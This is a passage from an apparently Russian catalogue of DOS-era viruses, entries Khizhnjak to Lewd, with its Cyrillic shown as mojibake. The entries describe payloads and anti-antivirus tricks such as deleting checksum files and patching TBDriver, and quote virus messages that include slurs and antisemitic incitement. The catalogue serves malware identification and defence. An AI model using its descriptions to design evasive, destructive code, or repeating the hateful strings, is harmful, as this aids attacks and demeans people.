ïîñëåäíèé ââåäåííûé ñèìâîë ñ êëàâèàòóðû. Êàæäûé ÷àñ âûâîäèò íà ýêðàí
ñëîâî "SAMSOFT".
KgkSoft.1020
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ.  íà÷àëå êàæäîãî ìåñÿöà ìîæåò
âûâåñòè ñîîáùåíèå:
I am KILLER & MONSTR !
You must say good-bye your computer !
Òàêæå ñîäåðæèò òåêñò "V2 KGKSoft 1997".
Khizhnjak.based - âèðóñû
Ïîÿâëåíèå äàííûõ âèðóñîâ îáÿçàíî ãîñïîäèíó Õèæíÿêó - àâòîðó êíèãè
"Ïèøåì âèðóñ è àíòèâèðóñ". Â äàííîé êíèæèöå áûë îïóáëèêîâàí èñõîäíûé
òåêñò òðèâèàëüíîãî íåðåçèäåíòíîãî âèðóñà, çàðàæàþùåãî COM-ôàéëû â
òåêóùåì äèðåêòîðèè.
Khizhnjak.255
Ñîäåðæèò ñòðîêó "TOP".
Khizhnjak.377
Ìîæåò óíè÷òîæèòü èíôîðìàöèþ íà äèñêå A:.
Khizhnjak.406
Âûâîäèò òåêñò "This is stamm of Khizhnjak.306 virus (c) 1997 NSTU".
Khizhnjak.542
×åðåç 3 ìåñÿöà íàõîæäåíèÿ íà êîìïüþòåðå â MS-DOS âåðñèè íå íèæå 5.0
âèðóñ "îòêëþ÷àåò" - äåëàåò íåâèäèìûì òåêóùèé äèñê.
Khizhnjak.556
10 ÷èñëà ïûòàåòñÿ óíè÷òîæèòü 100 ïåðâûõ ñåêòîðîâ æåñòêîãî äèñêà.
Khizhnjak.560
Ñ ÿíâàðÿ äî ìàÿ ôîðìàòèðóåò íóëåâóþ äîðîæêó ïåðâîãî æåñòêîãî äèñêà,
ïîñëå ÷åãî ïûòàåòñÿ âûâåñòè íà ýêðàí ñòðîêó "Hello!", íî âðÿä ëè äàííàÿ
ñòðîêà êîãäà-íèáóäü ïîÿâèòñÿ. Ñîäåðæèò åùå îäíó ñòðîêó - "Killer-94".
Khizhnjak.632
27 ÷èñëà ïûòàåòñÿ ôîðìàòèðîâàòü íóëåâóþ äîðîæêó ïåðâîãî æåñòêîãî äèñêà.
Khizhnjak.642
 çàâèñèìîñòè îò ñèñòåìíîãî âðåìåíè ìîæåò ïîïûòàòüñÿ íàéòè ôàéëû *.PAS
è óíè÷òîæèòü èíôîðìàöèþ, íàõîäÿùóþñÿ â íèõ.
Khizhnjak.639, 649
 êîíöå ñâîåé ðàáîòû âûäàþò òåêñò "From Russia with love!".
Khizhnjak.715
Ïðè óäà÷íîì çàðàæåíèè ôàéëà âûâîäèò ñîîáùåíèå "Íå ïóãàéòåñü !".
Khizhnjak.751, 759
Ïîñëå çàðàæåíèÿ âûâîäÿò òåêñò "Hallo! I have got virus for a you!".
Khizhnjak.812
Ñ ÿíâàðÿ äî èþíÿ óíè÷òîæàåò 180 ïåðâûõ ñåêòîðîâ òåêóùåãî äèñêà è
âûâîäèò òåêñò:
Hello! There is a new virus in your computer! Good luck!
Khizhnjak.834
Èíîãäà âûâîäèò òåêñò "Mason Hardkiller (C) 1995. (XAPËAHOB-ÃÀÄ)...".
Khizhnjak.847
Èíîãäà âûâîäèò ñîîáùåíèå "Áëàãîïîëó÷èÿ è ãëîáàëüíîñòè òåáå ìû". Èìååò
òàêæå òåêñò "(C) 1993 AREG Soft".
Khizhnjak.1101
Èíîãäà âûâîäèò ñîîáùåíèå:
Ïðèâåò! ß - âèðóñ!!! È çàðàçèë íåñêîëüêî ôàéëîâ!
À òû êóäà ñìîòðèøü? AIDSTEST ãäå? Áûñòðî çàïóñêàé!!!
Khizhnjak.1112
Ïîñëå çàðàæåíèÿ êàæäîãî ôàéëà âûâîäèò òåêñò "ok".
Khizhnjak.1134
Ïîñëå çàðàæåíèÿ ôàéëà âûâîäèò òåêñò "Ôàéë Çàðàæåí Óñïåøíî !Tapeworm !".
Khmir.1800
Íåîïàñíûé ðåçèäåíòíûé çàøèôðîâàííûé âèðóñ. Èíîãäà ñîçäàåò íà äèñêàõ
ôàéë "õìûðü".
Kill.578
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ìîæåò ðàçðóøèòü ôàéëû COM-ôîðìàòà, íî ñ
ðàñøèðåíèåì EXE. Ñîäåðæèò òåêñò "KILL".
Kipa.1084
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "The KIPA new Version 3.1
copyright (c) 1993 by Sergey Hacker,Moscow;15 years old".
Kit.2384
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðèîäè÷åñêè èçìåíÿåò ôëàãè êëàâèàòóðû -
ñîñòîÿíèå êëàâèø Shift, Alt, Ctrl,... Ñîäåðæèò òåêñò "Copyright 1991-
1999. KIT VIRUS (version 2.0).".
Kiwi.550
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "I'm KIWI-586.(C)
Vegetable-Soft,1992.DOS AIDSTEST".
Kkv.923
Íåîïàñíûé ðåçèäåíòíûé âèðóñ-ñïóòíèê. Ñîçäàåò ôàéë KKV2, â êîòîðûé
çàïèñûâàåò ñëåäóþùèé òåêñò:
KeyKapture Virus v2.0 (c) 1994 by Stormbringer [P/S]
Kkv.1074, 1077
Íåîïàñíûå ðåçèäåíòíûå ñòåëñ-âèðóñû-ñïóòíèêè. Ïåðåõâàòûâàþò INT 09, 13h,
21h. Ïûòàþòñÿ áûòü "íåâèäèìûì" íà óðîâíå INT 13h (÷òåíèå ñ äèñêà). Ïðè
ñìåíå äèñêà (f.0Eh INT 21h) ñîçäàþò ôàéë KKV.90, â êîòîðûé çàïèñûâàþò
âñå ââîäèìûå ñ êëàâèàòóðû êîìàíäû. Ñîäåðæàò òåêñò "KeyKapture Virus
v0.90 [Hellspawn-II] (c) 1994 by Stormbringer [P/S]".
Kkyyzz.1413
Ïðè ñòàðòå ïðîãðàììû, èìÿ êîòîðîé çàêàí÷èâàåòñÿ íà LI.EXE, âèðóñ
ïðåäïðèíèìàåò êàêèå-òî äåéñòâèÿ ñ Novell Netware. Ïðè ââîäå ñëîâà
"kkyyzz", ïðè áóôåðèçîâàííîì ââîäå (f.0Ah Int 21h) âèðóñ óäàëÿåò
ñâîé êîä èç ïàìÿòè.
Kohntark.268
Ñîäåðæèò ñòðîêó "KÔMPANION / KÔhntark".
Kohntark.Kali.641 (2)
Âûâîäèò íà ýêðàí èìÿ ïîñëåäíåãî èíôèöèðîâàííîãî ôàéëà. Ñîäåðæèò ñòðîêó
"KaLi-4 / KÔhntark".
Kohntrak.Kaos.697
Èìååòñÿ ñòðîêà "KAOS4 / KÔhntark".
Koko.1780
Îïàñíûé ðåçèäåíòíûé âèðóñ. 29 èþëÿ è 15 ôåâðàëÿ âûâîäèò íà ýêðàí òåêñò:
Stop Keyboard Clicking
KoKo is Sleeping in Your PC. !
To Scan & Clean Call, Adham Hammam
Fax & Phone (20) 066 - 261841
Ïîñëå ÷åãî æäåò íàæàòèÿ íà êëàâèøó. 29 èþëÿ ÷èòàåò MBR, ïîïàðíî ìåíÿåò
ìåñòàìè ñîñåäíèå áàéòû è çàïèñûâàåò åãî íà ñâîå ìåñòî.
Kommuna.800
Åñëè â ìîìåíò ñòàðòà âèðóñà çíà÷åíèå ñîòûõ äîëåé ñåêóíäû ìåíüøå 10, òî
âèðóñ âûâîäèò íà ýêðàí "parovozik", äâèæóùèéñÿ ê "OSTANOVKA".
__ ____
KOMMUNA(OSTANOVKA) ][ ]þþ[
__________ /~~~~~~~~~¦ ¦
] þþ [ \parovozik¦__¦
__]____Û_[__ /oo~~~~~~OOO~
Åñëè óäàëîñü çàðàçèòü ôàéë âèðóñ âûâîäèò ñîîáùåíèå:
"Don't warry please !!!".
Konstantin
Ñîäåðæèò ñòðîêó "Konstantin".
Kpi.329
Ñîäåðæèò òåêñò "KPI Wight Avendger's Software production.".
Kranty.255
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èìååò ñòðîêó "Êðàíòû-8".
Ksm.473
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò ñîîáùåíèå:
Fuck off,Asshole!!
- say to you KrylowSoft
Ñîäåðæèò ñòðîêó "KSM".
Kuku.448
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ìîæåò óíè÷òîæèòü ïðîãðàììû, çàïèñàâ â èõ
íà÷àëî 49 áàéò êîäà, êîòîðûé ïðè ñòàðòå ïèøåò íà öâåòíîì ìîíèòîðå ñëîâî
"Kuku!".
Kuku.886, 1111
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Âûâîäÿò òåêñòû:
Kuku.886 - A kuku, Nastepny komornik !!!
Kuku.1111 - Sorry, I'm copmpletly dead.
Kuku.1111 ïðîèãðûâàåò ìóçûêó.
Kvartirus.1499, Kvartirus.2000 (1,2)
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Íåçíà÷èòåëüíî îòëè÷àþùèåñÿ äðóã îò äðóãà
äâå ìîäèôèêàöèè âèðóñà (Kvartirus.1499, 2000(2) çàøèôðîâàíû). Èíîãäà
ïðîèçâîäÿò òðåñê â äèíàìèêå êîìïüþòåðà. Ñîäåðæàò òåêñòîâûå ñòðîêè:
Ýòà ïpîãpàììà íàïèñàíà ìíîé
Leningrad
Kvartirus.2000(1): Âèpóñ-Êâàpòèpóñ. Ëåíèíãpàä 1992
Kvartirus.2000(2): Âèpóñ-Êâàpòèpóñ-2. Ëåíèíãpàä 1993
Kvartirus.1499 òåêñòîâûõ ñòðîê íå ñîäåðæèò.
Kvs.836
Çàðàæàåò COM è EXE-ôàéëû, âíåäðÿÿ ñâîé êîä â èõ íà÷àëî. Çàðàæåííûå EXE-
ôàéëû ïî îêîí÷àíèþ ñâîåé ðàáîòû "ëå÷èò", çàïóñêàåò èõ, ïîñëå ÷åãî îïÿòü
çàðàæàåò. Ñîäåðæèò òåêñò "Zortech (C). Take Care of SoftWare ...".
Kvs.1942
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. 31 ÷èñëà âûâîäèò íà ýêðàí òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º º
º Take Care of SoftWare ... º
º KieViruSoft Data Product (c) 1994 . º
º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ïîñëå ÷åãî îòäàåò óïðàâëåíèå ïî àäðåñó C800:0000h, ïûòàÿñü òåì ñàìûì,
âèäèìî, âûçâàòü ïîäïðîãðàììó ôîðìàòèðîâàíèÿ æåñòêîãî äèñêà,
ðàñïîëîæåííóþ â BIOS. Èìååò ñòðîêè "KieViruSoft (c) Ver1.0", "Ver1.0".
Kvs.Crusade
Íåîïàñíûé ðåçèäåíòíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Ïîñëå 5 ÷àñîâ ðàáîòû
âûâîäèò òåêñò:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ LIVE `N` LET LIVE! ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Ñîäåðæèò ñòðîêó "Take care of soft war or Last Crusade.".
Kysia.1536
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Çàðàæàåò MBR æåñòêîãî äèñêà, ïðè
çàãðóçêå ñ êîòîðîãî âèðóñ óñòàíàâëèâàåò â ïàìÿòè ñâîþ TSR-êîïèþ.
Ïðîèçâîäèò ïîèñê è çàðàæåíèå EXE-ôàéëîâ ïðè ñìåíå òåêóùåãî äèñêà (f.0Eh
INT 21h) íà äèñêàõ A: è B:. Èíîãäà âûâîäèò ñîîáùåíèå:
(c) 1993 Kysia Software Co.
Your fucking PC is infected !
I'm formating your hard disk now.
I'm lucky.
FUCK'AM ALL.
Bezplatna reklama kapeli ZOD ze Szczecina.
Ïîñëå ÷åãî ïûòàåòñÿ ñîçäàòü âèäèìîñòü ôîðìàòèðîâàíèÿ æåñòêîãî äèñêà,
ïóòåì ÷òåíèÿ åãî ñåêòîðîâ.
Lame.2304
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. 15 ñåíòÿáðÿ âûâîäèò íà ýêðàí
òåêñò:
SHATTERED/Pantera/Cowboys from Hell
It's storming broken glass, corpses left in piles
Ungracious bludgeonment that breaks the earth for miles
Nothing can stop it, the day has come, from below it's catastrophic
Freezing, there's no healing families are dying
This world is shattered...all shattered
Life crushing turbulence, this wrath can't be denied
Wishing you could help your friends, standing where they died
Echoes haunting, a hollow planet, lacerations, dissected nation
Freezing, there's no healing families are dying
This world is shattered...all shattered
Ñîäåðæèò òàêæå ñòðîêó "This is a polymorphic virus It was written by
the Executioner It's called the lame virus #21".
Larry.491
Èíîãäà âûâîäèò íà ýêðàí òåêñò "Larry on a Screen".
Lasky.129
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "lasky!".
LBrother.393
Íåîïàñíûé ðåçèäåíòíûé âèðóñ - ñïóòíèê. Äëÿ EXE - ôàéëîâ ñîçäàåò
èíôèöèðîâàííûé COM-ôàéë-ñïóòíèê.1 ÿíâàðÿ âûâîäèò òåêñò "Ein gutes neues
Jahr !".
Leandro
Îïàñíûé Boot-âèðóñ. Íà äèñêåòàõ çàïèñûâàåò îðèãèíàëüíûé Boot-ñåêòîð è
ñâîå ïðîäîëæåíèå íà ñòîðîíå-1 äîðîæêå-40 ñåêòîðàõ-8,9. 21 îêòÿáðÿ
âûâîäèò òåêñò:
Leandro and Kelly ! GV-MG-Brazil
You have this virus since 13-03-95
Ïîñëåäíèå çíà÷åíèÿ - ýòî äàòà çàðàæåíèÿ êîìïüþòåðà äàííûì âèðóñîì.
LeapFrog (1,2)
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ðàçìåùàåò ñâîþ TSR-êîïèþ â îäíîì èç
ñèñòåìíûõ áóôåðîâ, óìåíüøàÿ èõ êîëè÷åñòâî íà 1. Ïåðåõâàòûâàåò INT 21h.
Ðàáîòîñïîñîáåí â MS-DOS âåðñèé 3.xx, 4.xx. Èíôèöèðóåò COM-ôàéëû,
ñîäåðæàùèå ïåðâîé èíñòðóêöèåé êîìàíäó ïåðåõîäà (E9 ?? ??). Èçìåíÿåò
ïåðâóþ ïîñëå ïåðåõîäà (E9) êîìàíäó íà èíñòðóêöèþ ïåðåõîäà íà âèðóñíûé
êîä, çàïèñûâàåìûé âèðóñîì â êîíåö ôàéëà.
Leech.1014, 1024
Îïàñíûå ðåçèäåíòíûå âèðóñû. Èíîãäà óíè÷òîæàþò 2 ñåêòîðà òåêóùåãî äèñêà
è âûâîäÿò òåêñò "Mr.Tapeworm" èëè "The leech live ...". Ñîäåðæàò òàêæå
òåêñòû "May 1996 The GLIST" èëè "April 1991 The Topler.".
LeftShift
Îïàñíûé çàãðóçî÷íûé âèðóñ. Ïî íå÷åòíûì äíÿì ïðîèçâîäèò äðîæàíèå ýêðàíà.
Áëîêèðóåò íàæàòèå íà ëåâóþ êëàâèøó "Shift",à òàêæå êàæäûé ÷àñ áëîêèðóåò
íàæàòèÿ íà êëàâèøè Escape, Backspace, Enter, Left Ctrl, Left Alt.
Legion.3274
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Àëãîðèòì çàðàæåíèÿ ôàéëîâ
çàèìñòâîâàí èç âèðóñîâ ñåìåéñòâà OneHalf. Â äåíü, ñîâïàäàþùèé ñî
çíà÷åíèåì ìåñÿöà âèðóñ âûâîäèò òåêñò:
ATTENTION !!! PERM RESEARCH CENTER
OF AUTO-TRANSFERRING SOFTWARE PRESENT:
Úˬ ÚËÍÍÍˬÚËÍÍÍˬÚÍÑËÑͬÚËÍÍˬÚËÍ» ˬ
¦º¦ ¦ÎÍÍ ¦º ÍÍ»¬ ¦º¦ ¦º º¦¦º È»º¦
ÀÊÏÍÊÙÀÊÍÍÍÊÙÀÊÍÍÍÊÙÀÍÏÊÏÍÙÀÊÍÍÊÙÀÊ ÈÊÙ
Version 5.00
(C) TEAM O'SHEEN DA 12-Feb-1997
PRESS TO EXECUTE PROGRAM
Lego.1000
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïîñëå 400 çàðàæåíèé ôàéëîâ
óíè÷òîæàåò íåêîòîðûå ïîëÿ CMOS-ïàìÿòè è âûâîäèò òåêñò:
SzÂtszedtem a gÂped! Rakd Ôssze, LEGO-zz!
LEGO virus
MESTER (C) 1995
Lemena.3544
Håîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ðàñïîëàãàåò ñâîþ çàøèôðîâàííóþ
ðåçèäåíòíóþ êîïèþ â îáëàñòè XMS è "ïåðåõâàòûâàåò" INT 22h, îáðàáîò÷èê
êîòîðîãî òîæå çàøèôðîâàí è ðàñïîëîæåí â ñâîáîäíîé îáëàñòè ÿäðà DOS. Ïî
îêîí÷àíèè ðàáîòû ëþáîé ïðîãðàììû âèðóñ êîïèðóåò ñâîé êîä èç XMS â
âèäåî-ïàìÿòü (0BC00:0000h), ðàñøèôðîâûâàåò åãî è "ïåðåõâàòûâàåò" INT
21h. Âèðóñ èñïîëüçóåò äèíàìè÷åñêóþ ðàñøèôðîâêó ñîáñòâåííîãî êîäà.
Óäàëÿåò ôàéëû: ANTI-VIR.DAT, AVP.CRC, CHKLIST.CPS, CHKLIST.MS,
CHKLIST.TAV, CRC.SVS, FILES.VVL, FINGERP.VVF, IM.PRM, IVB.INI, IVB.NTZ,
MSAV.CHK, SMARTCHK.CPS, \AV.CRC, \BOOT.CPS, \BOOT.MS, \BOOT.NTZ,
\BOOT.TAV, \IV.INI, \PART.NTZ. Ìîæåò âûâåñòè íà ýêðàí òåêñò "LEMENA'97"
èëè "BOKEPH'97". Òàêæå ñîäåðæèò òåêñòû "[LEMENA'97] by Bokeph from
Batavia, Indonesia", "[MENA]".
Lemming.2247
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé ñòåëñ-âèðóñ. Ïðè îòêðûòèè
èíôèöèðîâàííûõ ôàéëîâ âèðóñû ëå÷àò èõ. Íå çàðàæàåò ïðîãðàììû èç ñïèñêà
DRWEBAVPAIDSTESTVSAFEFPROT. Ïðîèçâîäèò ïîèñê â ïàìÿòè àíòèâèðóñà
TBDriver è ïðàâèò åãî êîä. Ñîäåðæèò ñòðîêè:
TBDRV
Choise virus ver 1.0 !!!!!!!!!!!!!!!!!!!!!!!!!!!
(c) Copyright 1996 by Gurre in Moscow...
Ãîëîñóé çà Ãåíàäèÿ Àíäðååâè÷à Çþãàíîâà íà âûáîðàõ !!!
Áàíäó Ýëüöèíà - â îòñòàâêó ! Áàíäó Ýëüöèíà ïîä ñóä !!!
COMcomEXEexe
Fucked file is FuckUp
Lenin.943
Íåðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ïîèñê *.EXE â äèðåêòîðèÿõ äîñòóïíûõ
÷åðåç ïåðåìåííóþ PATH è â òåêóùåé. Çàïèñûâàåòñÿ â êîíåö ôàéëîâ, íî
âñòàâëÿåò 5 áàéò ïðÿìîãî ìåæñåãìåíòíîãî "äëèííîãî" call íà ñâîå òåëî â
îðèãèíàëüíóþ òî÷êó âõîäà EXE-ôàéëà, êîððåêòèðóÿ ïðè ýòîì òàáëèöó
ïåðåìåùàåìûõ ñèìâîëîâ. Íî ïðè ýòîì íå ïðîâåðÿåò íàëè÷èå ññûëêè â ýòîé
òàáëèöå íà äàííóþ òî÷êó, â ðåçóëüòàòå ÷åãî òàêàÿ ïðîãðàììà ïðè çàïóñêå
ìîæåò "çàâåñèòü" ñèñòåìó. Èíîãäà ïîñëå çàðàæåíèÿ ôàéëà ìîæåò âûäàòü
òåêñò:
ÑÀÌÛÉ! ×ÅËÎÂÅ×ÍÛÉ! ×ÅËÎÂÅÊ!
Ëåíèí è ñåãîäíÿ âñåõ æèâûõ äåðæèò ìåðòâîé õâàòêîé óïûðÿ
Leo.293
Íåîïàñíûé âèðóñ. Èìååò òåêñò "- Virus "Leo", created in 1997 -".
Leo.3948
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. 31 äåêàáðÿ âûâîäèò íà ýêðàí òåêñò:
* *
* ù ùùùù ùù ùù ùùù ùù ùùù ùùùù ù
ù ÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛßß ÛÛÛ ÛÛßß ÛÛÛÛÛ ù *
ù ÛÛÛ ÛÛÛÛÛÛÛ ÛÛßß ÛÛÛ ÛÛßß ÛÛ ÛÛ ù
ù ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÜÜ ÛÛÛÛ ÛÛÜÜ ÛÛÛÛÛ ù *
ù ùù ùù ùù ùùù ùùù ùùù ùùùù ù
* *
Hallo, I've got a virus for you.. *
Today is the 31 of December, because I want to
congratulate with a Happy New Year... Today is *
* a holiday and I want a pair of COM files... :)
You have a holiday and you'll have many presents
tommorow. I would like to join at this tradition
* Could you take me a present as a file, please...
I'll be glad! Thank you for all, good bye.. *
Santa Leo...
* *
Leprosy.BadBrains.570
Ñîäåðæèò òåêñòû "SKISM", "Bad Brains".
Leprosy.Busted.572
Ïîñëå çàðàæåíèÿ ôàéëîâ âûâîäèò ñîîáùåíèå "Busted!" èëè "Program too big
to fit in memory". Ñîäåðæèò òåêñò "This is based on Leprosy-B. Thanx
PCM2Busted, Strain A, version 1.0By ØÀ×@&þ·¦½$ (Psychogenius),
September '91".
Leprosy.Hellraiser
Î÷åíü îïàñíûé çàøèôðîâàííûé âèðóñ. Ïåðèîäè÷åñêè óíè÷òîæàåò èíôîðìàöèþ â
4 ñëó÷àéíûõ ñåêòîðàõ äèñêà. Ïîñëå 25 ÷èñëà â ïÿòíèöó âûâîäèò òåêñò:
I'll be back...
Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ
Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ
Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ
Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ
Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ
Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ
Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ Þ
Ñîäåðæèò òåêñòîâûå ñòðîêè "Written by Dennis Yelle","Hellraiser/SKISM",
"-=PHALCON=-".
Leprosy.Rythem.808
25 ÷èñëà â ïÿòíèöó óíè÷òîæàåò âñå ôàéëû. Ñîäåðæèò òåêñò:
Skism Rythem Stack Virus-808. Smart Kids Into Sick Methods
Dont alter this code into your own strain, faggit.
HR/SSS NYCity, this is the fifth of many, many more....
You sissys.....
Leprosy.Sandra.1809, 1356
Î÷åíü îïàñíûå ïîëèìîðôíûå âèðóñû. Ïðîèçâîäÿò ïîèñê ôàéëîâ *.eXe è *.cOm
è âíåäðÿþò ñâîé êîä â íà÷àëî äàííûõ ôàéëîâ, íå ñîõðàíÿÿ ïðîãðàììíûé
êîä. Óíè÷òîæàþò ôàéëû: )(.ID, ANTI-VIR.DAT, C:\TBAV\VIRSCAN.DAT,
CHKLIST.CPS,C:\CPAV\CHKLIST.CPS, C:\NAV_._NO, C:\NOVIRCVR.CTS,C:\VS.VS,
C:\NOVIPERF.DAT,C:\TOOLKIT\FILES.LST, C:\FSIZES.QCV, C:\UNTOUCH\UT.UT1,
C:\UNTOUCH\UT.UT2. Ñîäåðæàò ñòðîêè "SANDRA*.eXe *.cOm ..", "This Virus
is dedicated to Sandra H., V0.07", "(c) Nazg".
Leprosy.Seneca.483, 493
Î÷åíü îïàñíûå íåðåçèäåíòíûå âèðóñû. 25 íîÿáðÿ âûâîäÿò òåêñò:
HEY EVERYONE!!!
Its Seneca's B-Day! Let's Party!
Ïîñëå ÷åãî óíè÷òîæàþò ñîäåðæèìîå 255 ñåêòîðîâ òåêóùåãî äèñêà.
Òàêæå ìîãóò âûâåñòè ñîîáùåíèå "FATAL ERROR -- EXE is Fucked!!!" èëè
You shouldn't use your computer so much,
its bad for you and your computer.
Leprosy.Skism.1992
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïîñëå 25 ÷èñëà â ïÿòíèöó âûâîäèò íà
ýêðàí êàðòèíêó:
¦ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ ¦ ¦
ÃÄÄÄÄÄÄÄÙ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±Ý ¦ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÁĬ
¦ ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±Ý ÀÄÄÂÄÙ ¦ ¦
¦ ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±Ý ¦ ¦ ÀÄÄ
¦ ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±Ý Þ Þ Þ Þ Þ Þ Þ
¦ ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±Ý±±±Ý Þ±±±±± Þ Þ±± Þ± Þ±±±±± Þ Þ Þ Þ±
¦ ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±Ý ±Ý Þ Þ± Þ± Þ Þ± Þ± Þ±
ÄÄÂÙ ±±±±±±±±±±±±±±±±±±±±±±± ±±±±Ý ¦ ±±± Þ± Þ Þ± Þ± ±±± Þ± Þ± ±± Þ±
¦ ±±±±±±±±±±±±±±±±±±±±±±±ÞÛÛ±±²²Û±±±Ý ¦ Þ± Þ± Þ± Þ± Þ± Þ± Þ±
¦ ±±±±±±±±±±±±±±±±±±±±±±±ÞÛÛ±±±²Û±±Ý ¦ ±±±±±± ±± ±± ±± ±±±±±± ±± ±±±
¦ ±±±±±±±±±±±±±±±±±±±±±±±ÞÛÛÛÛÛÛ±±Ý ÚÄÙ ÚÄÄĬ
¦ ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±Ý ÃÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ¦
ÃÄÄÄĬ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±Ý ¦ The man who brought you ¦
¦ ¦±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±Ý ¦ ±± 622, Skism One, Captian ¦
¦ ¦±±±±±±±±±±±±±±±±±±±±±Ý±±±±±±±±Ý ¦ ±± Trips, and Sub-Zero now ¦
¦ ¦±±±±±±±±±±±±±±±±±±±±±Ý ¦ ¦ ±± shanks you again, with ÀÄÄ
¦ ¦±±±±±±±±±±±±±±±±±±±±±Ý ÀÄĬ ÃĬ ±± his latest...
ÀÄÄÂÄÁ±±±±±±±±±±±±±±±±±±±±±±Ý ¦ ¦ ¦ ±±±±±±±±±±±±±±±±±±±±±±±±±
¦ ±±±±±±±±±±±±±±±±±±±±±±±±±±Ý ¦ ¦ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
ÄÄÂÄÄÙ ±±±±±±±±±±±±±±±±±±±±±±±±±Ý ÃÄÄÄÂÄÙ Skism 1992 - Virus!!!! ÃÄÄÄÄ
¦ ±±±±±±±±±±±Ý ÚÄÄÄÄÄÄÄÙ ¦ ±± Get a late pass! ¦
ÚÄÙ ±±ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝ ¦ ¦ ±±±±±±±±±±±±±±±±±±±±±±±±± ¦
¦ ±±ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝ ¦ ÚÄÄÄÄÄÄÄÄÄÄÄÄÙ
±±ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝ ¦ ¦
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Ñîäåðæèò òàêæå òåêñò "McAfee wrote Whale!!!!!!".
Leprosy.Strain.666 (1,2)
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Âûâîäèò ñîîáùåíèÿ:
Program too big to fit in memory
èëè
ATTENTION! Your computer has been afflicted with
the incurable decay that is the fate wrought by
Leprosy Strain B, a virus employing Cybernetic
Mutation Technology(tm) and invented by PCM2 08/90.
Ñóùåñòâóåò ìîäèôèêàöèÿ âèðóñà, êîòîðàÿ âûâîäèò òåêñò
Stealth Group Moscow Ïðèãëàøàåò Âèðóñîïèñàòåëåé !
Îáúåäèíÿéòåñü ! Òîëüêî Âìåñòå Ìû Ïðèêîí÷èì
ëÎÇÎÒÅÑÒ , pOLYFUCK è Ñðåäñòâà Îò Ãëèñòîâ !
Grosser & Mr.Tapeworm = Kool Men !"SPIDER" By Tapeworm !
Lev.693
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Âåäåò ñ÷åò÷èê çàðàæåíèé â MBR. Ïîñëå 224
çàðàæåíèé âîçìîæíî "îñûïàíèå" ýêðàíà è ïîÿâëåíèå ñîîáùåíèÿ:
Áåé æèäîâ è Ëîçèíñêîãî
Version d13,copyright (c) 1991 by LEV & "Ñ.Õ."
Lewd.3256, 4455, 4456
